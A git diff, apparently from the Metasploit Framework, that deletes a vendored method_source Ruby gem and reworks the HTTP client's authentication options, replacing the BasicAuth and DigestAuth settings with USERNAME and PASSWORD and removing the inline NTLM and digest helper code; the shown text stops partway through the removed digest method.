b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts deleted file mode 100644 index a4e7838016..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/.yardopts +++ /dev/null @@ -1 +0,0 @@ --m markdown diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile deleted file mode 100644 index e45e65f871..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Gemfile +++ /dev/null @@ -1,2 +0,0 @@ -source :rubygems -gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE deleted file mode 100644 index d1a50d62d0..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown deleted file mode 100644 index d91b810a3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/README.markdown +++ /dev/null @@ -1,91 +0,0 @@ -method_source -============= - -(C) John Mair (banisterfiend) 2011 - -_retrieve the sourcecode for a method_ - -*NOTE:* This simply utilizes `Method#source_location`; it - does not access the live AST. - -`method_source` is a utility to return a method's sourcecode as a -Ruby string. Also returns `Proc` and `Lambda` sourcecode. - -Method comments can also be extracted using the `comment` method. - -It is written in pure Ruby (no C). - -* Some Ruby 1.8 support now available. -* Support for MRI, RBX, JRuby, REE - -`method_source` provides the `source` and `comment` methods to the `Method` and -`UnboundMethod` and `Proc` classes. - -* Install the [gem](https://rubygems.org/gems/method_source): `gem install method_source` -* Read the [documentation](http://rdoc.info/github/banister/method_source/master/file/README.markdown) -* See the [source code](http://github.com/banister/method_source) - -Example: display method source ------------------------------- - - Set.instance_method(:merge).source.display - # => - def merge(enum) - if enum.instance_of?(self.class) - @hash.update(enum.instance_variable_get(:@hash)) - else - do_with_enum(enum) { |o| add(o) } - end - - self - end - -Example: display method comments --------------------------------- - - Set.instance_method(:merge).comment.display - # => - # Merges the elements of the given enumerable object to the set and - # returns self. - -Limitations: ------------- - -* Occasional strange behaviour in Ruby 1.8 -* Cannot return source for C methods. -* Cannot return source for dynamically defined methods. - -Special Thanks --------------- - -[Adam Sanderson](https://github.com/adamsanderson) for `comment` functionality. - -[Dmitry Elastic](https://github.com/dmitryelastic) for the brilliant Ruby 1.8 `source_location` hack. - -[Samuel Kadolph](https://github.com/samuelkadolph) for the JRuby 1.8 `source_location`. - -License -------- - -(The MIT License) - -Copyright (c) 2011 John Mair (banisterfiend) - -Permission is hereby granted, free of charge, to any person obtaining -a copy of this software and associated documentation files (the -'Software'), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile deleted file mode 100644 index 92c0234f3b..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/Rakefile +++ /dev/null @@ -1,76 +0,0 @@ -dlext = Config::CONFIG['DLEXT'] -direc = File.dirname(__FILE__) - -require 'rake/clean' -require 'rake/gempackagetask' -require "#{direc}/lib/method_source/version" - -CLOBBER.include("**/*.#{dlext}", "**/*~", "**/*#*", "**/*.log", "**/*.o") -CLEAN.include("ext/**/*.#{dlext}", "ext/**/*.log", "ext/**/*.o", - "ext/**/*~", "ext/**/*#*", "ext/**/*.obj", "**/*.rbc", - "ext/**/*.def", "ext/**/*.pdb", "**/*_flymake*.*", "**/*_flymake") - -def apply_spec_defaults(s) - s.name = "method_source" - s.summary = "retrieve the sourcecode for a method" - s.version = MethodSource::VERSION - s.date = Time.now.strftime '%Y-%m-%d' - s.author = "John Mair (banisterfiend)" - s.email = 'jrmair@gmail.com' - s.description = s.summary - s.require_path = 'lib' - - s.add_development_dependency("bacon","~>1.1.0") - s.add_development_dependency("rake", "~>0.9") - s.homepage = "http://banisterfiend.wordpress.com" - s.has_rdoc = 'yard' - s.files = `git ls-files`.split("\n") - s.test_files = `git ls-files -- test/*`.split("\n") -end - -task :test do - sh "bacon -q #{direc}/test/test.rb" -end - -desc "reinstall gem" -task :reinstall => :gems do - sh "gem uninstall method_source" rescue nil - sh "gem install #{direc}/pkg/method_source-#{MethodSource::VERSION}.gem" -end - -desc "Set up and run tests" -task :default => [:test] - -namespace :ruby do - spec = Gem::Specification.new do |s| - apply_spec_defaults(s) - s.platform = Gem::Platform::RUBY - end - - Rake::GemPackageTask.new(spec) do |pkg| - pkg.need_zip = false - pkg.need_tar = false - end - - desc "Generate gemspec file" - task :gemspec do - File.open("#{spec.name}.gemspec", "w") do |f| - f << spec.to_ruby - end - end -end - -desc "build all platform gems at once" -task :gems => [:rmgems, "ruby:gem"] - -desc "remove all platform gems" -task :rmgems => ["ruby:clobber_package"] - -desc "build and push latest gems" -task :pushgems => :gems do - chdir("#{direc}/pkg") do - Dir["*.gem"].each do |gemfile| - sh "gem push #{gemfile}" - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb deleted file mode 100644 index 9a3c325f75..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source.rb +++ /dev/null @@ -1,163 +0,0 @@ -# (C) John Mair (banisterfiend) 2011 -# MIT License - -direc = File.dirname(__FILE__) - -require "#{direc}/method_source/version" -require "#{direc}/method_source/source_location" - -module MethodSource - # Determine if a string of code is a valid Ruby expression. - # @param [String] code The code to validate. - # @return [Boolean] Whether or not the code is a valid Ruby expression. - # @example - # valid_expression?("class Hello") #=> false - # valid_expression?("class Hello; end") #=> true - def self.valid_expression?(str) - if defined?(Rubinius::Melbourne19) && RUBY_VERSION =~ /^1\.9/ - Rubinius::Melbourne19.parse_string(str) - elsif defined?(Rubinius::Melbourne) - Rubinius::Melbourne.parse_string(str) - else - catch(:valid) { - eval("BEGIN{throw :valid}\n#{str}") - } - end - true - rescue SyntaxError - false - end - - # Helper method responsible for extracting method body. - # Defined here to avoid polluting `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [File] The opened source file - def self.source_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - (line - 1).times { file.readline } - - code = "" - loop do - val = file.readline - code << val - - return code if valid_expression?(code) - end - end - end - - # Helper method responsible for opening source file and buffering up - # the comments for a specified method. Defined here to avoid polluting - # `Method` class. - # @param [Array] source_location The array returned by Method#source_location - # @return [String] The comments up to the point of the method. - def self.comment_helper(source_location) - return nil if !source_location.is_a?(Array) - - file_name, line = source_location - File.open(file_name) do |file| - buffer = "" - (line - 1).times do - line = file.readline - # Add any line that is a valid ruby comment, - # but clear as soon as we hit a non comment line. - if (line =~ /^\s*#/) || (line =~ /^\s*$/) - buffer << line.lstrip - else - buffer.replace("") - end - end - - buffer - end - end - - # This module is to be included by `Method` and `UnboundMethod` and - # provides the `#source` functionality - module MethodExtensions - - # We use the included hook to patch Method#source on rubinius. - # We need to use the included hook as Rubinius defines a `source` - # on Method so including a module will have no effect (as it's - # higher up the MRO). - # @param [Class] klass The class that includes the module. - def self.included(klass) - if klass.method_defined?(:source) && Object.const_defined?(:RUBY_ENGINE) && - RUBY_ENGINE =~ /rbx/ - - klass.class_eval do - orig_source = instance_method(:source) - - define_method(:source) do - begin - super - rescue - orig_source.bind(self).call - end - end - - end - end - end - - # Return the sourcecode for the method as a string - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method sourcecode as a string - # @example - # Set.instance_method(:clear).source.display - # => - # def clear - # @hash.clear - # self - # end - def source - if respond_to?(:source_location) - source = MethodSource.source_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !source - else - raise "#{self.class}#source not supported by this Ruby version (#{RUBY_VERSION})" - end - - source - end - - # Return the comments associated with the method as a string. - # (This functionality is only supported in Ruby 1.9 and above) - # @return [String] The method's comments as a string - # @example - # Set.instance_method(:clear).comment.display - # => - # # Removes all elements and returns self. - def comment - if respond_to?(:source_location) - comment = MethodSource.comment_helper(source_location) - - raise "Cannot locate source for this method: #{name}" if !comment - else - raise "#{self.class}#comment not supported by this Ruby version (#{RUBY_VERSION})" - end - - comment - end - end -end - -class Method - include MethodSource::SourceLocation::MethodExtensions - include MethodSource::MethodExtensions -end - -class UnboundMethod - include MethodSource::SourceLocation::UnboundMethodExtensions - include MethodSource::MethodExtensions -end - -class Proc - include MethodSource::SourceLocation::ProcExtensions - include MethodSource::MethodExtensions -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb deleted file mode 100644 index 9161854819..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/source_location.rb +++ /dev/null @@ -1,138 +0,0 @@ -module MethodSource - module ReeSourceLocation - # Ruby enterprise edition provides all the information that's - # needed, in a slightly different way. - def source_location - [__file__, __line__] rescue nil - end - end - - module SourceLocation - module MethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - else - - - def trace_func(event, file, line, id, binding, classname) - return unless event == 'call' - set_trace_func nil - - @file, @line = file, line - raise :found - end - - private :trace_func - - # Return the source location of a method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - if @file.nil? - args =[*(1..(arity<-1 ? -arity-1 : arity ))] - - set_trace_func method(:trace_func).to_proc - call(*args) rescue nil - set_trace_func nil - @file = File.expand_path(@file) if @file && File.exist?(File.expand_path(@file)) - end - return [@file, @line] if File.exist?(@file.to_s) - end - end - end - - module ProcExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ - - # Return the source location for a Proc (Rubinius only) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - [block.file.to_s, block.line] - end - else - - # Return the source location for a Proc (in implementations - # without Proc#source_location) - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # proc definition is found. - def source_location - self.to_s =~ /@(.*):(\d+)/ - [$1, $2.to_i] - end - end - end - - module UnboundMethodExtensions - if Proc.method_defined? :__file__ - include ReeSourceLocation - - elsif defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ - require 'java' - - # JRuby version source_location hack - # @return [Array] A two element array containing the source location of the method - def source_location - to_java.source_location(Thread.current.to_java.getContext()) - end - - else - - - # Return the source location of an instance method for Ruby 1.8. - # @return [Array] A two element array. First element is the - # file, second element is the line in the file where the - # method definition is found. - def source_location - klass = case owner - when Class - owner - when Module - method_owner = owner - Class.new { include(method_owner) } - end - - # deal with immediate values - case - when klass == Symbol - return :a.method(name).source_location - when klass == Fixnum - return 0.method(name).source_location - when klass == TrueClass - return true.method(name).source_location - when klass == FalseClass - return false.method(name).source_location - when klass == NilClass - return nil.method(name).source_location - end - - begin - Object.instance_method(:method).bind(klass.allocate).call(name).source_location - rescue TypeError - - # Assume we are dealing with a Singleton Class: - # 1. Get the instance object - # 2. Forward the source_location lookup to the instance - instance ||= ObjectSpace.each_object(owner).first - Object.instance_method(:method).bind(instance).call(name).source_location - end - end - end - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb deleted file mode 100644 index b8142bfaef..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/lib/method_source/version.rb +++ /dev/null @@ -1,3 +0,0 @@ -module MethodSource - VERSION = "0.7.1" -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec deleted file mode 100644 index 83a727d6f6..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/method_source.gemspec +++ /dev/null @@ -1,33 +0,0 @@ -# -*- encoding: utf-8 -*- - -Gem::Specification.new do |s| - s.name = "method_source" - s.version = "0.7.0" - - s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= - s.authors = ["John Mair (banisterfiend)"] - s.date = "2012-01-01" - s.description = "retrieve the sourcecode for a method" - s.email = "jrmair@gmail.com" - s.files = [".gemtest", ".travis.yml", ".yardopts", "Gemfile", "LICENSE", "README.markdown", "Rakefile", "lib/method_source.rb", "lib/method_source/source_location.rb", "lib/method_source/version.rb", "method_source.gemspec", "test/test.rb", "test/test_helper.rb"] - s.homepage = "http://banisterfiend.wordpress.com" - s.require_paths = ["lib"] - s.rubygems_version = "1.8.10" - s.summary = "retrieve the sourcecode for a method" - s.test_files = ["test/test.rb", "test/test_helper.rb"] - - if s.respond_to? :specification_version then - s.specification_version = 3 - - if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then - s.add_development_dependency(%q, ["~> 1.1.0"]) - s.add_development_dependency(%q, ["~> 0.9"]) - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end - else - s.add_dependency(%q, ["~> 1.1.0"]) - s.add_dependency(%q, ["~> 0.9"]) - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb deleted file mode 100644 index 425e56acf9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test.rb +++ /dev/null @@ -1,122 +0,0 @@ -direc = File.dirname(__FILE__) - -require 'rubygems' -require 'bacon' -require "#{direc}/../lib/method_source" -require "#{direc}/test_helper" - -describe MethodSource do - - describe "source_location (testing 1.8 implementation)" do - it 'should return correct source_location for a method' do - method(:hello).source_location.first.should =~ /test_helper/ - end - - it 'should not raise for immediate instance methods' do - [Symbol, Fixnum, TrueClass, FalseClass, NilClass].each do |immediate_class| - lambda { immediate_class.instance_method(:to_s).source_location }.should.not.raise - end - end - - it 'should not raise for immediate methods' do - [:a, 1, true, false, nil].each do |immediate| - lambda { immediate.method(:to_s).source_location }.should.not.raise - end - end - end - - before do - @hello_module_source = " def hello; :hello_module; end\n" - @hello_singleton_source = "def $o.hello; :hello_singleton; end\n" - @hello_source = "def hello; :hello; end\n" - @hello_comment = "# A comment for hello\n# It spans two lines and is indented by 2 spaces\n" - @lambda_comment = "# This is a comment for MyLambda\n" - @lambda_source = "MyLambda = lambda { :lambda }\n" - @proc_source = "MyProc = Proc.new { :proc }\n" - end - - it 'should define methods on Method and UnboundMethod and Proc' do - Method.method_defined?(:source).should == true - UnboundMethod.method_defined?(:source).should == true - Proc.method_defined?(:source).should == true - end - - describe "Methods" do - it 'should return source for method' do - method(:hello).source.should == @hello_source - end - - it 'should return source for a method defined in a module' do - M.instance_method(:hello).source.should == @hello_module_source - end - - it 'should return source for a singleton method as an instance method' do - class << $o; self; end.instance_method(:hello).source.should == @hello_singleton_source - end - - it 'should return source for a singleton method' do - $o.method(:hello).source.should == @hello_singleton_source - end - - - it 'should return a comment for method' do - method(:hello).comment.should == @hello_comment - end - - - if !is_rbx? - it 'should raise for C methods' do - lambda { method(:puts).source }.should.raise RuntimeError - end - end - end - - # if RUBY_VERSION =~ /1.9/ || is_rbx? - describe "Lambdas and Procs" do - it 'should return source for proc' do - MyProc.source.should == @proc_source - end - - it 'should return an empty string if there is no comment' do - MyProc.comment.should == '' - end - - it 'should return source for lambda' do - MyLambda.source.should == @lambda_source - end - - it 'should return comment for lambda' do - MyLambda.comment.should == @lambda_comment - end - end - # end - describe "Comment tests" do - before do - @comment1 = "# a\n# b\n" - @comment2 = "# a\n# b\n" - @comment3 = "# a\n#\n# b\n" - @comment4 = "# a\n# b\n" - @comment5 = "# a\n# b\n# c\n# d\n" - end - - it "should correctly extract multi-line comments" do - method(:comment_test1).comment.should == @comment1 - end - - it "should correctly strip leading whitespace before comments" do - method(:comment_test2).comment.should == @comment2 - end - - it "should keep empty comment lines" do - method(:comment_test3).comment.should == @comment3 - end - - it "should ignore blank lines between comments" do - method(:comment_test4).comment.should == @comment4 - end - - it "should align all comments to same indent level" do - method(:comment_test5).comment.should == @comment5 - end - end -end diff --git a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb b/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb deleted file mode 100644 index 53da4e519c..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/method_source-0.7.1/test/test_helper.rb +++ /dev/null @@ -1,50 +0,0 @@ -def is_rbx? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /rbx/ -end - -def jruby? - defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ -end - - -module M - def hello; :hello_module; end -end - -$o = Object.new -def $o.hello; :hello_singleton; end - -# A comment for hello - - # It spans two lines and is indented by 2 spaces -def hello; :hello; end - -# a -# b -def comment_test1; end - - # a - # b -def comment_test2; end - -# a -# -# b -def comment_test3; end - -# a - -# b -def comment_test4; end - - -# a - # b - # c -# d -def comment_test5; end - -# This is a comment for MyLambda -MyLambda = lambda { :lambda } -MyProc = Proc.new { :proc } - diff --git a/lib/msf/core/auxiliary/crawler.rb b/lib/msf/core/auxiliary/crawler.rb index 36e963ecbc..168a130d5b 100644 --- a/lib/msf/core/auxiliary/crawler.rb +++ b/lib/msf/core/auxiliary/crawler.rb @@ -22,7 +22,9 @@ module Auxiliary::HttpCrawler Opt::Proxies, OptInt.new('MAX_PAGES', [ true, 'The maximum number of pages to crawl per URL', 500]), OptInt.new('MAX_MINUTES', [ true, 'The maximum number of minutes to spend on each URL', 5]), - OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]) + OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']) ], self.class ) @@ -118,8 +120,9 @@ module Auxiliary::HttpCrawler :info => "" }) - if datastore['BasicAuthUser'] - t[:http_basic_auth] = [ "#{datastore['BasicAuthUser']}:#{datastore['BasicAuthPass']}" ].pack("m*").gsub(/\s+/, '') + if datastore['USERNAME'] and datastore['USERNAME'] != '' + t[:username] = datastore['USERNAME'].to_s + t[:password] = datastore['PASSWORD'].to_s end if datastore['HTTPCookie'] @@ -278,9 +281,8 @@ module Auxiliary::HttpCrawler opts[:cookies] = t[:cookies] end - if t[:http_basic_auth] - opts[:http_basic_auth] = t[:http_basic_auth] - end + opts[:username] = t[:username] || '' + opts[:password] =t[:password] || '' opts end diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index a7c8fc86e3..2ad3dbcb19 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -69,6 +69,7 @@ class Auxiliary::Web::HTTP attr_reader :framework attr_accessor :redirect_limit + attr_accessor :username , :password def initialize( opts = {} ) @opts = opts.dup @@ -84,8 +85,8 @@ class Auxiliary::Web::HTTP @request_opts = {} if opts[:auth].is_a? Hash - @request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' + - opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' ) + @username = opts[:auth][:user].to_s + @password = opts[:auth][:password].to_s end self.redirect_limit = opts[:redirect_limit] || 20 @@ -105,7 +106,9 @@ class Auxiliary::Web::HTTP opts[:target].port, {}, opts[:target].ssl, - 'SSLv23' + 'SSLv23', + username, + password ) c.set_config({ @@ -296,6 +299,10 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 6d0bd9336b..5d8a48891e 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -46,10 +46,8 @@ module Exploit::Remote::HttpClient OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', Rex::Proto::Http::Client::DefaultUserAgent ]), - OptString.new('BasicAuthUser', [false, 'The HTTP username to specify for basic authentication']), - OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']), - OptString.new('DigestAuthUser', [false, 'The HTTP username to specify for digest authentication']), - OptString.new('DigestAuthPassword', [false, 'The HTTP password to specify for digest authentication']), + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']), OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]), OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]), OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'SSL3', ['SSL2', 'SSL3', 'TLS1']]), @@ -156,7 +154,9 @@ module Exploit::Remote::HttpClient }, dossl, ssl_version, - proxies + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] ) # Configure the HTTP client with the supplied parameter @@ -184,7 +184,15 @@ module Exploit::Remote::HttpClient 'pad_post_params_count' => datastore['HTTP::pad_post_params_count'], 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], - 'header_folding' => datastore['HTTP::header_folding'] + 'header_folding' => datastore['HTTP::header_folding'], + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it @@ -251,6 +259,10 @@ module Exploit::Remote::HttpClient def send_request_raw(opts={}, timeout = 20) begin c = connect(opts) + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end r = c.request_raw(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -266,6 +278,10 @@ module Exploit::Remote::HttpClient def send_request_cgi(opts={}, timeout = 20) begin c = connect(opts) + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end r = c.request_cgi(opts) c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout) rescue ::Errno::EPIPE, ::Timeout::Error @@ -277,241 +293,8 @@ module Exploit::Remote::HttpClient # Combine the user/pass into an auth string for the HTTP Client # def basic_auth - return if not datastore['BasicAuthUser'] - datastore['BasicAuthUser'] + ":" + (datastore['BasicAuthPass'] || '') - end - - # - # Connect to the server, and perform NTLM authentication for this session. - # Note the return value is [resp,c], so the caller can have access to both - # the last response, and the connection itself -- this is important since - # NTLM auth is bound to this particular TCP session. - # - # TODO: Fix up error messaging a lot more -- right now it's pretty hard - # to tell what all went wrong. - # - def send_http_auth_ntlm(opts={}, timeout = 20) - #ntlm_message_1 = "NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=" - ntlm_options = { - :signing => false, - :usentlm2_session => datastore['NTLM::UseNTLM2_session'], - :use_ntlmv2 => datastore['NTLM::UseNTLMv2'], - :send_lm => datastore['NTLM::SendLM'], - :send_ntlm => datastore['NTLM::SendNTLM'] - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) - workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - domain_name = datastore['DOMAIN'] - - ntlm_message_1 = "NTLM " + Rex::Text::encode_base64(NTLM_UTILS::make_ntlmssp_blob_init( domain_name, - workstation_name, - ntlmssp_flags)) - to = opts[:timeout] || timeout - begin - c = connect(opts) - - # First request to get the challenge - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => ntlm_message_1 }})) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [nil,nil] unless resp.code == 401 && resp.headers['WWW-Authenticate'] - - # Get the challenge and craft the response - ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] - return [nil,nil] unless ntlm_challenge - - - #old and simplier method but not compatible with windows 7/2008r2 - #ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) - #ntlm_message_3 = ntlm_message_2.response( {:user => opts['username'],:password => opts['password']}, {:ntlmv2 => true}) - - ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge) - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(ntlm_message_2) - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} - - resp_lm, - resp_ntlm, - client_challenge, - ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(opts['username'], opts['password'], challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlm_message_3 = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, opts['username'], - resp_lm, resp_ntlm, '', ntlmssp_flags) - ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3) - - # Send the response - r = c.request_cgi(opts.merge({ - 'uri' => opts['uri'], - 'method' => 'GET', - 'headers' => { 'Authorization' => "NTLM #{ntlm_message_3}"}})) - resp = c.send_recv(r, to, true) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - return [resp,c] - - rescue ::Errno::EPIPE, ::Timeout::Error - end - end - - def send_digest_request_cgi(opts={}, timeout=20) - @nonce_count = 0 - - return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser']) - to = opts['timeout'] || timeout - - digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || "" - digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || "" - - method = opts['method'] - path = opts['uri'] - iis = true - if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false) - iis = false - end - - begin - @nonce_count += 1 - - resp = opts['response'] - - if not resp - # Get authentication-challenge from server, and read out parameters required - c = connect(opts) - r = c.request_cgi(opts.merge({ - 'uri' => path, - 'method' => method })) - resp = c.send_recv(r, to) - unless resp.kind_of? Rex::Proto::Http::Response - return [nil,nil] - end - return [nil,nil] if resp.code == 404 - if resp.code != 401 - return resp - end - return [nil,nil] unless resp.headers['WWW-Authenticate'] - end - - # Don't anchor this regex 